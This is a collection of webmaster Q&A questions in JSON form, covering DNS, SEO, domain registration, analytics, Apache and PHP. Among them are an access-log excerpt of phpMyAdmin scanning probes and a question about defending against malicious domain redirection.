{"id":"31431","title":"Apache (XAMPP 1.8.0) access.log\/Intrusion Detection Concern","text":"[I originally posted on SO but it earned me a Tumbleweed badge. This looks like a better venue for the question.] I have Apache (XAMPP 1.8.0) running on Vista Pro x64. A couple times now I have seen a pattern like the example below in `access.log`. Concerning is the \"attack\" seems to somehow shift from a public IP to a valid private IP on my network (happens to be the WAN address of one of my routers). Two questions: How is this possible, and what happens if the \"attacker\" stumbles on a valid request? I've googled this to no avail. 177.0.X.X - - [03\/Jun\/2012:08:19:34 -0400] \"GET \/phpMyAdmin-2.5.4\/index.php HTTP\/1.1\" 403 177.0.X.X - - [03\/Jun\/2012:08:19:34 -0400] \"GET \/phpMyAdmin-2.5.5-rc1\/index.php HTTP\/1.1\" 403 177.0.X.X - - [03\/Jun\/2012:08:19:34 -0400] \"GET \/phpMyAdmin-2.2.6\/index.php HTTP\/1.1\" 403 177.0.X.X - - [03\/Jun\/2012:08:19:34 -0400] \"GET \/phpMyAdmin-2.5.5-rc2\/index.php HTTP\/1.1\" 403 192.168.15.3 - - [03\/Jun\/2012:08:19:56 -0400] \"GET \/phpMyAdmin-2.5.6-rc2\/index.php HTTP\/1.1\" 403 177.0.X.X - - [03\/Jun\/2012:08:19:56 -0400] \"GET \/phpMyAdmin-2.5.6-rc1\/index.php HTTP\/1.1\" 403 177.0.X.X - - [03\/Jun\/2012:08:19:56 -0400] \"GET \/phpMyAdmin-2.5.5-pl1\/index.php HTTP\/1.1\" 403 192.168.15.3 - - [03\/Jun\/2012:08:19:59 -0400] \"GET \/phpMyAdmin-2.5.7\/index.php HTTP\/1.1\" 403 192.168.15.3 - - [03\/Jun\/2012:08:20:01 -0400] \"GET \/phpMyAdmin-2.5.7-pl1\/index.php HTTP\/1.1\" 403 192.168.15.3 - - [03\/Jun\/2012:08:20:02 -0400] \"GET HTTP\/1.1\" 400 1060 \"-\" \"-\""}
{"id":"30016","title":"Image hot-linking - is it beneficial for SEO","text":"Are there any SEO benefits to be had from allowing other sites to hotlink our images?"}
{"id":"55156","title":"Cannot access the subdomain all the time","text":"I created a new subdomain: `blog.example.com`. Sometimes, the blog is accessible without any problems, but other times it's not, just like now at this moment (14-Nov-2013 12:57 PM Lebanon Local Time). Yesterday at night it was working. I've been having this problem for days. If I ping the subdomain, under Windows: Ping request could not be find host blog.example.com. Please check the name and try again. If I try `tracert`: Unable to resolve target system name blog.example.com. And with `nslookup` I don't get any records, with my humble knowledge, it seems as DNS problem. But why would it work sometimes? and not other times? Note that the response of the previous commands are instantaneous (in case you need to check some packets or something). I'm also using the Global Google DNS (`8.8.8.8`)."}
{"id":"36280","title":"Cloud just for hosting big files?","text":"I need a solution to store my big files (50MB+ each). Currently I am using an European dedicated server (100MBits) with 8000GB\/month at 60 USD. I would like to use a cloud service that automatically fetches my files from my server the first time users request it (like a classic cdn) (So I can have all files stored within 1 server) I was looking at Amazon CloudFront and, to get the same bandwidth 8'000 GB\/month, I have to pay like 2000 USD vs my 60 USD of my dedicated server. Is there a cheaper alternative?"}
{"id":"916","title":"How to transfer domain from Godaddy to another provider","text":"I'm currently using godaddy for all of my company domains, and I'm very unsatisfied with their service, specially with their site, so we are trying to migrate those domains to another provider. The question is, How do I transfer my domains to another domain registrar? I'm not talking about transferring domain records (A, MX...) but to use the same domains with another provider, and redo all the configuration again. For example, one of our blogs is hosted in Slicehost and we feel very confortable with their record editing tool. As I have read prowebmasters I can see other people not very satisfied with Godaddy service. Thanks! **edit:** Thanks for the answers, they were all very informative."}
{"id":"6078","title":"Differences between google domains in different countries","text":"We are currently trying to see if our site is being indexed successfully by google. Mind you we got millions of pages. A trick some people use is the google site: command. I always assumed that google.com and google.nl would be the same. Data being fetched by the same GoogleBot. And that it was more of a latency thing where google.nl would be closer to home than google.com. But this is clearly not the case, since google.nl and google.com give back different results. http:\/\/www.google.nl\/search?sourceid=chrome&ie=UTF-8&q=site:amazon.com returns 37.400.000 results and http:\/\/www.google.com\/#sclient=psy&hl=en&site=&source=hp&q=site:amazon.com returns 487,000,000 results Does anybody know how this works? Another related question is what other tricks people use to see if google.com successfully indexes all data. It seems the best way is to do some analytics on the apache logs searching for the GoogleBot."}
{"id":"19203","title":"Registering a website with \"YouTube\" in the name","text":"> **Possible Duplicate:** > Where is the line drawn with domain names which include a trademark? Are there legal (or other) issues with registering a site with \"YouTube\" in the name? An example would be \"http:\/\/www.youtubepuppies.com\". I would be running essentially a blog about puppies (going with this example), writing about how awesome dogs are and posting occasional youtube clips. This question isn't restricted to \"YouTube\", that's just an example of a well- known brand. I'm not going to be making any money from the site, nor am I envisioning the site to have a following (beyond what a little personal blog gets). And I just found a similar question: Where is the line drawn with domain names which include a trademark? Is there a way for a little guy to get \"permission\" from the brand holder to make a site like this?"}
{"id":"57249","title":"Domains and trademarks - is there some legal risk","text":"Suppose there is a trademark called \"Rubyblock\" and you buy rubyblock.com and name your app \"Rubyblock\" is there some legal risk? If yes, how do i can check this before to name the app and buy domain?"}
{"id":"58908","title":"Can I fetch current user's search query coming from google on my website through any API","text":"I was wondering, is there any API google analytics provide by which I can fetch search query for either organic or paid(adwords). By which I can decide what kind of content to show to that user. I want this data before showing any content to user, so this has to be that much quick in fetching from google. Is there any such thing available?"}
{"id":"14828","title":"Looking for the name of something (social analytics, maybe?)","text":"I write a blog. I'm not really interested in search-engine optimization or social media marketing, but I am curious when people link, read and comment about things I write away from my blog itself. I want an easy way of finding these things. I don't care about auto-submitting to sites, or anything like that. I also don't care about any statistics: I just want to know where the action is! For example, right now, I have cobbled together RSS feeds including: * Twitter searches for my blog's name * Reddit aggregate for any link to my domain But, for example, I always miss whenever my blog is posted to Hacker News, which is no fun since Hacker News discussions tend to be quite good. And, of course, I want to find out about discussions in places that I’ve never even heard of before. (I just signed up for Google Alerts, maybe that will help, maybe not. Google doesn't seem to be particularly realtime.) It seems to me there ought to be free services that do this sort of thing. But \"social analytics\" seems to be the wrong word, since that implies aggregation and data, and that's not really what I want. What am I looking for?"}
{"id":"14829","title":"Class C IP Forwarding?","text":"I'm not even sure how to correctly phrase this question so please bear with me as I try to explain what we want to do. And Thank You for taking the time to help me... We have products that appeal to an international audience. However with some search engines they factor in what class C\/location your domain is sitting on for their serp results. The problem is we're very familiar with RackSpace cloud servers and their systems. If I had a domain I wanted to appear that it was sitting on a class C in the U.K. but I wanted the actual web server to be in the US (Dallas TX) is there some sort of trick\/hack I can use to do so. Something like registering the domain, pointing the DNS to a UK web host and then pulling the files from my US cloud server WITHOUT a search engine (say Google) being able to tell where the site was actually located? I hate to have to jump through hoops like this and feel kinda sneaky doing so but Google certainly factors in IP location into their serps."}
{"id":"58903","title":"Microdata Without Reviews","text":"I have not been able to find a clear issue on omitting reviews from Microdata. I understand that Microdata values for reviews will default to a certain number when omitted, but I was wondering if it would be correct\/acceptable to completely omit the review node completely. I can see where reviews and average \"star\" ratings would be of help to the end user, especially for things like recipes. However, what if there are no reviews for a product or application? To be completely clear - let's isolate this question to only software applications or extensions. What if a particular piece of software or extension was not featured on an \"app store\" or other site that provided reviews? Wouldn't the formats still be helpful by providing version number, download URL, compatible software - etc? Sorry for the lengthy background, but I just don't understand why it seems that reviews _must_ be part of a Microdata markup. Or, am I wrong in this assumption?"}
{"id":"14821","title":"What version control options are available for PHP web development?","text":"I have done some basic web programming in the past and wish to develop my skills further and begin doing large scale projects as a contractor. I have no experience with version control to this point but know enough about it to know I want to use it. What version control systems are available for a web platform and which are the most popular (I'm assuming they'd be most popular for ease of use and functionality...)? Thanks!"}
{"id":"48679","title":"Want to Minimise Browser Dependence","text":"I am a web administrator to the site Nrityakalamandiram In the long run, I want the site's appearance not to conspicuously vary from browser to browser. I would like my site to appear and function exactly as I want it to, at least in the most popular browsers like Firefox, IE, Chrome, Chromium. As a step toward this I would like to get one thing sorted out See http:\/\/www.nritykalamandiram.in\/home\/gallery.html I opened it in Firefox, the album name \"THE DIRECTOR\" is just above the black box in which the photo gallery lies:  I opened it in Chromium, the same page appears thus:  What I have done as follows: Inside a element I have written the album name as per user's click (on the left side is a list of albums) and below it, displayed the gallery box. The mother is intended to be transparent like. To achieve this I appended \"background-color:transparent\" to the \"style\" property of This is ineffective in Firefox but not in Chromium as one sees - in the latter picture attached - a white patch to the left and above the gallery box! It is evident from above that <div style=\"background-color:transparent...\" ... > does not serve the purpose uniformly for all browsers. I am perhaps too fussy about a seemingly negligible aberration such as this, but somehow the white patches are jarring. In light of the above I have a question: Is there a code that achieves the transparency of the mother as described above, uniformly for all popular browsers?"}
{"id":"20103","title":"how to hide domain hosting forward path","text":"I have one hosting account with domain.com and we are hosting about 5 different websites. I have 5 folders in the hosting account each one with a unique \"\/name\", and of course 5 www.12345.coms. I have each domain forwarded to hosting.com\/name. When I do google search of my website, it shows the hosting.com\/name in the path line, is there a way to hide it so it shows up as www.12345.com ? Here is a pic example: http:\/\/i.stack.imgur.com\/VgmUb.jpg"}
{"id":"31697","title":"How to find illegal or adult contents\/links into a user-filled website?","text":"I would like to use adsense on my website. This website is filled by users (they put comments and links). Of course, adsense (and others I guess) does not want to put ads on pages containing illegal\/adult content or links that points to that. So, I want to track these bad contents the most easily possible : Is there a program or a web service to do that ?"}
{"id":"36136","title":"Easy way to identify pages which are index, but not linked to on my site","text":"I'm just wondering if there is an easy way to find out what pages Google has indexed, that are not directly linked on my site, for example: `www.mysite.com\/skype.html` originally had a link in my site menu, but this link was removed. The page is still available when the url is typed directly, but there is no direct link to it. I don't want Google indexing this page any more and want to put a 'disallow' in my robots.txt."}
{"id":"12126","title":"Own SMTP server vs SendGrid\/PostmarkApp\/CritSend\/SMTP.com\/etc","text":"Wondering what the benefits are from switching from our own SMTP server to an SMTP service. They all seem to talk about handling the deliverability issues. However our server is set up with reverse DNS, SPF records, DomainKeys, DKIM and SenderID. We've not yet heard about deliverability issues with our own server. Additionally SenderScore is reporting 99\/100. So why use an SMTP service? PS: we'll be wishing to send a larger than normal marketing email so this would increase the volume of email from our server in a relatively short period of time"}
{"id":"68939","title":"Traffic difference between sub-domain.example.com AND example.com\/sub-domain","text":"It is possible to create sub-domains for a website in these two ways: sub-domain.example.com example.com\/sub-domain `example.com` is the main website. Between the above implementations is there any difference in visiting and traffic statistics for the main website?"}
{"id":"49728","title":"How many days does it take for Google Webmaster Tools to refresh after a DNS error?","text":"Yesterday I saw a problem in Google Webmaster Tools - it's saying that \"Googlebot can not crawl your site because of DNS errors.\" Please view this image & error date:  Then I immediately fixed the problems. Now I can see in the graph from two days there is not a DNS problem, but it's still showing a DNS error. I am wondering how many days does it take Google to to refresh this DNS graph in order to remove the error? Important Links: http:\/\/ansoftsys.com\/sitemap.xml and http:\/\/ansoftsys.com\/robots.txt."}
{"id":"34856","title":"Is it possible to use two different ErrorDocuments for different paths of a website?","text":"I currently run PmWiki at mydomain.com\/pmwiki. I have a 404 page and `.htaccess` set up in my site's document root for 404 pages regarding anything that doesn't have to do with my wiki. By default, PmWiki handles URLs a little confusingly so I had to use this in order to get it to look like mydomain.com\/pmwiki\/Namespace\/Page I had to create a `.htaccess` in \/pmwiki to remove parts of the URL. PmWiki also has a custom 404 (Site\/PageNotFound) page that has stopped working, now my site uses the \/404.htm page. I noticed this when trying to install this \"recipe\" to enable case-insensitive URLs. Currently the only way to access Site\/PageNotFound is by actually linking to it, and, if you read how that recipe seems to function, this is an issue. Currently mydomain.com\/pmwiki\/blahblah and mydomain.com\/pmwiki\/legitimate_namespace_but_lowercase\/legitimate_lowercase_page_name both direct to mydomain.com\/404.htm. I have to admit I'm very confused, and I apologize if I was unclear in any of this, but I could definitely use some help."}
{"id":"44772","title":"is it legal to use links from an established website to identify unique content?","text":"Not sure if this is a good place to ask, but maybe someone here can point me in the right direction... If I wanted to make a commercial, directory type website (where users can enter content) and in order to ensure uniqueness and prevent duplicate entries I would use links and URLs of an established website and cross reference those in my database to see if the link was already used - would I be violating any Intellectual Property laws in the US? So for example I am making a directory of musicians, and users can create profiles for musicans. But I don't want 3 profile pages for Lady Gaga, so I am asking for the link to Lady Gaga's myspace site. Or the link to Lady Gaga's Wikipedia site. If the link that was entered is already used in my database, I would alert the user, and require certain actions to figure out which of the profiles was indeed created by Lady Gaga or her representatives - and not just by someone who is trying to give her a bad reputation or something... Other examples would be possible with using facebook pages, google+ pages, linkedIn profiles, imdb, etc. etc. My website would take advantage of the fact, that another website is very established and reliable. Of course I will not include any content from the website, other than the LINK\/URL STRING OF CHARACTERS (which would be a deep link however). And if I display the link on the profile page, I would make sure to say for example \"visit lady gaga's profile page on myspace.com\" or something similar to ensure fair usage. Here is an article, that talks about linking and deep linking to other sites, but not about \"using the URL of a site in your code as part of the content verification process\". http:\/\/fairuse.stanford.edu\/Copyright_and_Fair_Use_Overview\/chapter6\/6-c.html Does anybody have an idea what's allowed and what isn't, what violates IP law and what doesn't? Or where else could I research to find out?"}
{"id":"55983","title":"Using Google Analytics to view product hits","text":"I am using Google Analytics but fairly new to it. I have a list of products on my site, they have the following URL: * `example.com\/product\/1` * `example.com\/product\/2` In Google Analytics, how can I view which product has the most hits?"}
{"id":"44777","title":"How to Give proper Credit to Original Content keeping in mind the Google SEO","text":"I have a website about Delhi and its tourism spots. Now for giving information about these spots, I am using Wikipedia and any other website for the information content, but I want to give Credit to these sites and don't want Google to spam my site for duplicate content. Can anyone suggest some legitimate way to tell Google that I am giving the due credit to the original source pages but I also want to rank for these pages. (I will not be posting the exact content from these pages, but only used for reference). Since my site is NOT a news site, is it okay to use the original-source metatag? Or there is some other way around? Please help!"}
{"id":"27595","title":"Magento not responding to payment gateway notifications fast enough or at all?","text":"Some of our customers are getting to the confirmation of payment step in purchasing from our Magento store, and then they are getting a timeout error, where the SagePay payment gateway is trying to contact our server to tell it that a payment was successful (or not…) but it cannot contact our server, or cannot get a response from our server in a timely manner, and then the payment\/order is being cancelled. I've raised this question to my hosting company, but all they told me was: \"This is down to the way the software is configured on your server\" This is currently a Magento 1.4.0.1 standard installation as far as payment gateways are concerned. What on earth could this statement mean? Is there some configuration that I need to do to make Magento listen to these requests and respond properly?"}
{"id":"27596","title":"How to use the private and public keys?","text":"I am new to ssl certificates, i wanted to learn about ssl certificates, and I generated private and public keys myself while logged into cpanel, I wonder how to use those and generate a secured connection to my site, i have my public keys and private keys but how to use those? Can any one recommend a nice page or can any one teach me that? thanks in advance"}
{"id":"41052","title":"SEO - Meta Description Tags Not Updating Search Result","text":"I updated my meta description tag for my comics website about two months back now, but the search engine is still picking up my footer \"Acceptable User Policy\" text for some reason.   I'm not even sure why it would pick up this footer text to begin with:  I need this to be updated because I don't want my search result to be about my disclaimer... I want it to be about the content of my site- comics. How long should it take to update? Do I have the tag incorrect? **EDIT----- Meta Description Tag length:** \"Hitting Trees with Sticks is dedicated to sharing high quality original satirical comics with the world.\" Words: 16 Characters (no spaces): 89 Characters (with spaces): 104 Thanks!"}
{"id":"56531","title":"Is Google Image making use of comments \/ descriptions found in images?","text":"I'm wondering whether Google (and other search engine) pay any attention to the text appearing in images such as Comments, Description, Exif, etc. I'm wondering as I would imagine that it would be nice if a user creating a website with a CMS would be warned if the image text fields are not defined, or if defined, be shown the existing data to make sure it is proper. However, that's a lot of work if the data is never used anyway! What I'm after is a link to an authoritative video (with Matt for instance) or document that talks about this."}
{"id":"45604","title":"In Google Analytics, given I have a specific page, how do I track where the user went to next?","text":"Note: I'm an analytics \"n00b\". I have a specific page on my website, say [ **\/users\/register** ]. **Where in Google Analytics do I go to see where visitors to that page went to next?** I saw that, for that page, the was a column called \" _Landing_ \", but the number there was lower than the number of visitors? When I looked at that page under the _Landing Page report_ , I saw that it looked to have the info I needed as it had an _Exit_ value... however, I don't know what that means, and I don't understand why the Landing number is so much lower. **Regardless I just want to see where visitors to that page went to next?**"}
{"id":"27843","title":"What is good side of PageRank?","text":"I am doing research about backlinks\/PR\/SEO\/Search Result position and all I read about is that PageRank is not important, that it worth before but now it's not important at all. Only thing I found useful about it that is \"change Search Result position\", but ONLY if there are two sites with same keywords and same text content value, then Search Engine will check which site has higher PR and place that site above lowest one. Google counts PR importance as 20% for displaying search rankings, and Yahoo! is like 3%... Correct me if I am wrong... Is there any other good thing from it?"}
{"id":"59686","title":"UTF-8 charset doesn't work for PHP mail form","text":"I'm trying to solve the problem of **reading special characters** , (plus I cant get it on one of the Gmail) I get something like this \" _לדו×_ \" and this \" _Ч“Ч•Чђ\\\"ЧњЧ“Ч•_ \" sent from my WP blog I've tried all ways which were explained on Stack Overflow, but the questions might be specific, which hadn't work for me. I wont use any plugin for that, so my preferred code is here: <?php ..................... if(!isset($hasError)) { $emailTo = 'asdasdasd@mail.ru, asdasdasd@gmail.com, info@travel-asdasdasd.co.il ' ; $subject = $_POST['subject']; $comments= $_POST['comments']; $dge= $_POST['dge']; $tve= $_POST['tve']; $weli= $_POST['weli']; $sendCopy = trim($_POST['sendCopy']); $body = \"Name: $ContactName \\n\\nEmail: $email \\n\\nComments: $comments \\n\\n Subject :$subject \\n\\n Number: $phone \\n\\n $dge \/ $tve \/$weli\"; mail($emailTo, \": הודעה\" , $body, \"Travel-Georgia\" ); \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \/\/ set our boolean completion value to TRUE $emailSent = true; } } ?> ....... <form id=\"contact-us\" method=\"post\" accept-charset=\"utf-8\"> .......<\/form>"}
{"id":"49233","title":"Will transferring a domain name to a new registrar cause downtime?","text":"Will transferring a domain name to a new host cause downtime at all on the domain? It's the highest traffic time of the year for us but we really want to keep things moving and need to migrate hosts because our current host charges per subdomain. It's imortant we get this subdomain up and running in the next few weeks, so I'm wondering what kind of down time (if any) we should expect migrating the registrar. It doesn't seem like it would..."}
{"id":"59761","title":"How to allow www.domain.com and domain.com on EC2 Ubuntu Instance on AWS","text":"I have an EC2 Ubuntu Instance that I have apache2 installed on (along with php, mysql, mycrypt for a Laravel project). I have set up the correct nameservers, and www.domain.com is coming up online. However, domain.com (without www.) is not working. I know I have to change something with the vhost, but I am not sure how to do it with the Debian version of Apache2 on the Ubuntu instance. What file do I edit to do this, and what edit do I have to make? Thank you for your help."}
{"id":"55517","title":"Can AdSense crawler view pages that require cookies?","text":"**Details** I require users to agree to terms and conditions before they can view several pages on my site. Once they have agreed a cookie is set and they can proceed to the webpage. If a user somehow manages to end up on the webpage without a cookie they will not be able to access the page's content. **My question(s)** Is the AdSense crawler able to set the cookie and visit these pages? If yes, how will it know to agree to the TOS? Is there some way to allow it access to the pages even if it couldn't use cookies?"}
{"id":"44360","title":"Analytics - Total events divided by number of unique pages?","text":"I am using Google Analytics events to track keywords on my articles - not necessarily the best system I know but there are too many for variables I can't easily change it right now - and I would like to be able to see how popular each keyword is by dividing the number of page views with a keyword by the number of unique pages. Is there a\/what is the best way of doing this? **EDIT FOR CLARITY** I currently have a system set up where every time somebody loads an article an event is fired for each of the tags\/keywords used, with the keyword being the label. I can currently view my view count for each of the keywords by looking at the total events for each label, however I would like to be able to see which keywords are the most popular by dividing the number of times the event has been fired by the the number of different pages it has been fired from."}
{"id":"29259","title":"What's the proper structure of an HTML5 page that briefly lists other articles?","text":"The target is to provide the proper semantic for a page that briefly lists existent articles. At the moment my idea is the following: <body> <article> <header> <h1>Latest Articles<\/h1> <\/header> <article> <header> <h1><a href=\"\/article-1\">First Article's Heading<\/a><\/h1> <p>First article's brief description.<\/p> <\/header> <\/article> <article> <header> <h1><a href=\"\/article-2\">Second Article's Heading<\/a><\/h1> <p>Second article's brief description.<\/p> <\/header> <\/article> <article> <header> <h1><a href=\"\/article-3\">Third Article's Heading<\/a><\/h1> <p>Third article's brief description.<\/p> <\/header> <\/article> <\/article> <\/body> The page (let's call it an _archive_ page) has the main article element containing children articles. Each child has only header because the article does not represent the full version but just a brief. Please, tell me if my version is semantically right (and why it is). Otherwise, propose your version. **UPDATED (AFTER THE ANSWER WAS ACCEPTED)** Example above is not full what may confuse and cause misunderstanding. I'll try to clear this providing a fuller example with comments. <body> <!-- Header is the same for all pages. --> <header> <h1>Website Title<\/h1> <p>Website description.<\/p> <\/header> <!-- Article presents the main content of specific page. --> <article> <header> <h1>Latest Articles<\/h1> <p>Last three articles in chronological order.<\/p> <\/header> <!-- This page lists existent articles. --> <!-- They are not inside a section element because it isn't a section of something larger but independent articles. --> <article> <header> <h1>First Article's Heading<\/h1> <p>Supplement to the first article's heading.<\/p> <p><a href=\"\/article-1\" rel=\"bookmark\">Read more<\/a><\/p> <\/header> <\/article> <article> <header> <h1>Second Article's Heading<\/h1> <p>Supplement to the second article's heading.<\/p> <p><a href=\"\/article-2\" rel=\"bookmark\">Read more<\/a><\/p> <\/header> <\/article> <article> <header> <h1>Third Article's Heading<\/h1> <p>Supplement to the third article's heading.<\/p> <p><a href=\"\/article-3\" rel=\"bookmark\">Read more<\/a><\/p> <\/header> <\/article> <footer> <nav> <h1>Navigate Through Pages<\/h1> <p><a href=\"\/page\/1\" rel=\"next\">Newer<\/a><\/p> <p><a href=\"\/page\/3\" rel=\"prev\">Older<\/a><\/p> <\/nav> <\/footer> <\/article> <!-- Footer is the same for all pages. --> <footer> <p><small>Copyright (c) ...<\/small><\/p> <\/footer> <\/body> I just wanted to ensure if the semantic is corrent. It is. The question is clear."}
{"id":"44489","title":"Google Webmaster not indexing my site","text":"I've moved my site from ak.net84.net to aramk.com, and I've redirected the pages from the old to the new using these methods in my htaccess for the old site: * all pages redirect to the new site using a rewrite rule, with 301 http code * manually specified redirects with 301 http code * removing all redirects, so all links to the old site will result in a 404 (redirects to my host's error page) At the moment, it appears Google may be treating the sites as duplicates, so I've removed the indexed pages for the old site by using the \"Blocked URLs\" page in Google Webmaster. The problem I'm having is that for my new site, Google is crawling but not indexing:  There are not health warnings for the new site, but there are health warnings for the old site (saying I have removed URLs). Meanwhile the old site is still being indexed:  The old site doesn't have a sitemap, and the robots.txt is blank. The new site does have a sitemap, but it's not being indexed:  At this point I've been waiting about a month without any changes while I try different settings, and I'm prepared to just delete the old site from my host completely in the hope Google will stop indexing it. Any other suggestions?"}
{"id":"39610","title":"Error in Google Webmaster tools","text":"Google Webmaster tools says I have many faults. I wonder how I might supposed to improve them in a way such as to make a `robot.txt` to the server? Where I decide where you should go, etc? .. You can see the picture here what I mean:  However, it must be said that I have made that about 2 times before so there have been many mistakes. But I have used woorank to help me a lot further to see what I was missing on the page. So, my question is simply: does `robot.txt` have anything to do with it, all the old mistakes? .. This is what my page NOT out more!  Could it not also help a little of everything if I had a sitemap for my site? _Just tell if you do not understand what I mean. However, I am **dyslexic** so is bad for English .._"}
{"id":"29253","title":"Public search engine which index HTML tags","text":"Do you know a public search engine which allows search on HTML tags? The usage will be to search websites with HTML5 tags such as `<canvas>` being able to search over the class names could also be useful."}
{"id":"11814","title":"Domain registrar that doesn't encourage domain 'speculation'","text":"Dealing with domain 'speculators' has been getting me down recently. Then I noticed my current registrar, name.com, have some deal with a domain auction company to list \"premium\" domains on their website; it may seem petty, but I don't want to support this kind of venture in any way. Are there any good registrars out there who don't list 'aftermarket' domains? I don't need much in the way of features, but a nice clean interface is always nice. Cheers."}
{"id":"33707","title":"Google Analytics profile filters does not work","text":"I have a website and I need to separate traffic to it into two profiles. I need to exclude data from curtain IP address from Profile A and include data from this IP to Profile B. I have created 2 profiles. Setup exclude filter by IP for profile A, setup Include filter for profile B. For some reason all data still goes to profile A. I use my own public IP address in filter definitions so I know for sure that I have visits for profile B. In order to test that data come to Profile A I track event via _trackEvent with unique name, like test123 and I see this event in Profile A. What I am doing wrong? **UPDATE** : If I change filter to Country - everething work. I could easely separate traffic from me Country to another profile. So my guess something is wrong with IP."}
{"id":"11810","title":"Multiple domain names","text":"I have a client that want a website with a single domain name with many different extensions like : somedomain.com somedomain.org somedomain.net somedomain.mobi somedomain.tv ... Just to be sure the saturate the name and that nobody \"hijack\" the name. The client is a Searcher in \"Numeric content\" and has a PHD in that field of expertise. Personnally I think it would be overkill to go that road since the website will only attract a limited amount of people which will be refered mostly through official press documents and business cards with the web URL on it. Since he is a scholar I was looking for some published articles about that matters. P.S. In the end if he is still convinced that his way is the right way I will do it, but since it comes from a public funded Grant I was looking to save him money (and the general population) so he can use the rest on more useful areas P.P.S. I am from Québec, the most taxed state in North America, that is why I have those concerns :P"}
{"id":"18509","title":"Storing image order without a database","text":"The classic question is whether to store images in a database or on the file system. In my case I feel it is probably best to store it on the file system. However the specific order of the albums and images is very important. Originally I thought that I could do this by displaying images in the order of their last modified date and then artificially change that value to modify the order. However that method is flawed as adding new images to an album will reorder all the images as the modified time is changed unwillingly. Can anyone give me advice on how I can keep track of the order without using a database? (Not 100% sure if this question belongs here or maybe on stackoverflow, but I'm taking my chances and if I'm wrong feel free to correct it.)"}
{"id":"33757","title":"Mapping an amazon server to a domain name registered with name.com","text":"I have an amazon S3 web server and a domain name registered in name.com (the name is sam-experiments.com). I am trying to have a static page hosted on the amazon web server to be displayed on http:\/\/www.sam-experiments.com On the web server side, my bucket name is 'www.sam-experiments.com', and it links to here: http:\/\/www.sam-experiments.com.s3-website-eu- west-1.amazonaws.com\/ On name.com, I added a new record with the followin characteristics: * Record Type: CNAME * Record Host: www.sam-experiments.com * Record Answer: www.sam-experiments.com.s3.amazonaws.com. (as specified in the documentation here: http:\/\/docs.amazonwebservices.com\/AmazonS3\/latest\/dev\/VirtualHosting.html#VirtualHostingCustomURLs) * TTL: 300 However, nothing gets displayed on www.sam-experiments.com, and I am not able to find what I am doing wrong. I really would appreciate some tip. Thanks! Note: I already posted this question in stackoverflow, but didnt get any answer, so I thought posting here may be more appropriate."}
{"id":"44365","title":"Paging in table in PHP","text":"Hey guys i have to make php program in which i have to take data from database (table is student(stu_id , s_name , s_emailid)) from which i have to display only 10 records on first page and 4 buttons First , Last , Previous and next . if user click on next in table i have to display next ten records on same page(replace older data of table) and if user click then previous then previous 10 records. and wiseversa for first and last. i have no idea how i can do this so plz guys help me.."}
{"id":"15151","title":"How can I exclude a specific computer from web stats?","text":"I'm using AWStats to track visits to my site. I know how to exclude specific ip addresses from the stats (using AWStat's .conf file). But how would I just exclude one specific visitor (me)? I want to exclude every visit regardless of my location. Just based on my specific computer, or cookies, or possibly a login password? Thanks"}
{"id":"15156","title":"How can i check how many users can visit my website at the same time?","text":"i have my website on a shared webhosting account. I would like to check how many people can visit my site at the same time without the server slowing down or crashing. I don't have SSH, if that makes any difference..."}
{"id":"34710","title":"Was Instagram, the first one who started using \"insta\" word","text":"I want to know, was Instagram the first one who started using \"insta\" word in domain name. There are so many other sites who started some word, and others followed their way for names. for eg Apple started i-something, myspace started mysomething, youtube started yousomething etc etc, I am not sure whether they were the first one, and invented the style of using them."}
{"id":"43863","title":"How much time to update the Structured data in Search Results?","text":"We have updated the structured data for the ratings in the website and it is detected also by the crawler but I am not able to view the ratings in the search results page. I can see the breadcrumb results in the search results and can not see the other structured data in search results. Do let us know if there is any issue which needs to be resolved from our end. Thanks"}
{"id":"54023","title":"Can I submit a private domain registration to bing","text":"I have a private domain registration. Is there any way to submit to Bing without disclosing personal details?"}
{"id":"39535","title":"Succesful hits on favicon are 49.9% as shown by Awstats, But 404s don't display favicon error. What's wrong?","text":"On Awstats, one of the sections displays as it follows: > Successful hits on favicon.ico -> 49.9% Then, under 404s, i have the following: > Document Not Found (hits on favicon excluded) Therefore, if the 50.1% of errors on favicon are due to 404s, I wouldn't be able to see them. **I'm pretty sure, the errors on favicon are not 404s, as i have extensivly checked (I might be wrong though). If that assumption is correct, how come 50.1% are not successful hits? Is it because some browsers\/tablets\/phones don't support it?** Additionally, I store the favicon icon in a folder, but a favicon.ico empty file always appears on my root folder if deleted. That file was replaced with mine, so the error should also not be there."}
{"id":"59504","title":"Godaddy redirect doesn't show file names in URL","text":"Bought a Godaddy doman and redirected & masked it (301) to a temporal free hosting site(freehostingeu), the redirection and masking works perfectly but the URL of the various pages in my server's folder doesn't show in the nav bar when I click a link that sends me to that page."}
{"id":"38476","title":"SEO and new site - visibility best practices","text":"Since i launched a new web site, i was wondering which are the best practices to let the visibility of the site grow up faster then just leaving the site online? I mean which internet channels are good to speed up visibility of a new site? Can anyone show some tricks he do when launching new site? I'm not talking about spam, advertising and SEO tech tips (the site is well done with all the main SEO tech tricks)."}
{"id":"31705","title":"Why some video posts from the same blog appear in google with thumbs, while others do not?","text":"We own media blog - which is basically a big collection of various videos streamed through our branded player. Interesting thing is that some of our posts show up in google search results with a thumb denoting that the post in question is in fact a video. But more often they are not. We basically wonder why? What does affect it and can we control it somehow? All posts (their single pages) have facebook og meta tags in place."}
{"id":"29390","title":"How to deal with malicious domain redirections?","text":"It is possible for anybody to buy a domain name containing negative terms and point it to someone's website in order to damage their reputation. For instance someone could buy the domain `child-pornography.com` and point it to the address `64.34.119.12` which is the address behind `stackoverflow.com` and people navigating to the domain in question would end up visualizing content from `StackExchange` which would be detrimental to `StackExchange`'s image. To illustrate this, I added the entry `64.34.119.12 child-pornography.com` to my `\/etc\/hosts` file and tested. Here is what I obtained:  I personally found this user experience terrible as someone could think that Stack Exchange are in favor of child pornography and awaiting support from the community to create a Q&A site about it. I tested with other websites and experienced other behaviors that I would categorize as follows: **1 - Useful 404 page (happens with`stackoverflow.com`)**: For me the worst way of handling this as the image of the targeted website is directly associated with the offending domain. The more useful the 404 page, the bigger the impression that the targeted website would be willing to help with child pornography. **2 - Redirection (happens with`microsoft.com`):** For instance when accessing `child-pornography.com` you get redirected to `www.microsoft.com`. It isn't as bad as above as the offending domain name never appears alongside the targeted website's content, but still bad in my opinion as it gives the impression the targeted website bought the offending domain and redirected it to their website to get more traffic. **3 - Server error (happens with`lemonde.fr`):** You get an error from the webserver which page doesn't contain any content that can be associated with the targeted website (e.g. default Apache 404 page, completely blank page). I believe that is good as the identify of the targeted website isn't revealed. Above are the various behaviors I experienced, but I also thought about a 